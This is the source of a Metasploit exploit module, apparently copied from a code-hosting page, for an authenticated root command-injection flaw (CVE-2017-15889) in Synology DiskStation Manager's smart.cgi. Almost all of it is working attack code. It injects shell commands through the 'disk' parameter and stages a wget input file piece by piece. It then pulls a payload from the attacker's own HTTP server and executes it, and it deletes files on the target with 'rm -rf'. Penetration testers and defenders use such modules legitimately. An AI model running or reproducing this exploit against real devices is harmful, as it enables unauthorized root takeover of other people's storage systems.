1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+) &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions < 5.2-5967-5, which allows the execution of arbitrary commands under root privileges after website authentication. The vulnerability is located in webman/modules/StorageManager/smart.cgi, which allows appending of a command to the device to be scanned.However, the command with drive is limited to 30 characters.A somewhat valid drive name is required, thus /dev/sd is used, even though it doesn't exist.To circumvent the character restriction, a wget input file is staged in /a, and executed to download our payload to /b.From there the payload is executed.A wfsdelay is required to give time for the payload to download, and the execution of it to run. }, 'Author' => [ 'Nigusu Kassahun', # Discovery 'h00die' # metasploit module ], 'References' => [ [ 'CVE', '2017-15889' ], [ 'EDB', '43190' ], [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ], [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ] ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => ['python'], 'Arch' => [ARCH_PYTHON], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PrependMigrate' => true, 'WfsDelay' => 10 }, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Nov 08 2017' ) ) register_options( [ Opt::RPORT(5000), OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']), OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']), OptString.new('PASSWORD', [true, 'The Password for Synology', '']) ] ) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def check vprint_status('Trying to detect installed version') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'), 'vars_get' => { 'host' => '' } }) if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}" build = $LAST_MATCH_INFO[:build] model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase } model = "DS#{model}" unless model =~ /^[A-Z]/ else vprint_error('Detection failed') return CheckCode::Unknown end vprint_status("Model #{model} with version #{version}-#{build} detected") case version when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1' return CheckCode::Appears when '5.2' return CheckCode::Appears if build < '5967-5' end CheckCode::Safe end def on_request_uri(cli, _request, cookie, token) print_good('HTTP Server request received, sending payload') send_response(cli, payload.encoded) print_status('Executing payload') inject_request(cookie, token, 'python b') end def inject_request(cookie, token, cmd = '') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'), 'cookie' => cookie, 'headers' => { 'X-SYNO-TOKEN' => token }, 'vars_post' => { 'action' => 'apply', 'operation' => 'quick', 'disk' => "/dev/sd<code>#{cmd}</code>" } }) end def login # If you try to debug login through the browser, you'll see that desktop.js calls # ux-all.js to do an RSA encrypted login. # Wowever in a stroke of luck Mrs. h00die caused # a power sag while tracing/debugging the loging, causing the NAS to power off. # when that happened, it failed to get the crypto vars, and defaulted to a # non-encrypted login, which seems to work just fine.greetz Mrs. h00die! res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'), 'vars_get' => { 'enable_syno_token' => 'yes' }, 'vars_post' => { 'username' => datastore['USERNAME'], 'passwd' => datastore['PASSWORD'], 'OTPcode' => '', '__cIpHeRtExT' => '', 'client_time' => Time.now.to_i, 'isIframeLogin' => 'yes' } }) if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body result = JSON.parse(json) fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error' if result['result'] == 'success' return res.get_cookies, result['SynoToken'] end fail_with(Failure::Unknown, "Unknown response: #{result}") end end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if datastore['SRVHOST'] == '0.0.0.0' fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') end begin print_status('Attempting Login') cookie, token = login start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req, cookie, token) end, 'Path' => '/' } }) print_status('Cleaning env') inject_request(cookie, token, cmd = 'rm -rf /a') inject_request(cookie, token, cmd = 'rm -rf b') command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//) command_space = 22 - "echo -n ''>>/a".length command_space -= 1 command.each_slice(command_space) do |a| a = a.join('') vprint_status("Staging wget with: echo -n '#{a}'>>/a") inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a") end print_status('Requesting payload pull') register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b') register_file_for_cleanup('/a') inject_request(cookie, token, cmd = 'wget -i /a -O b') # at this point we let the HTTP server call the last stage # wfsdelay should be long enough to hold out for everything to download and run rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end |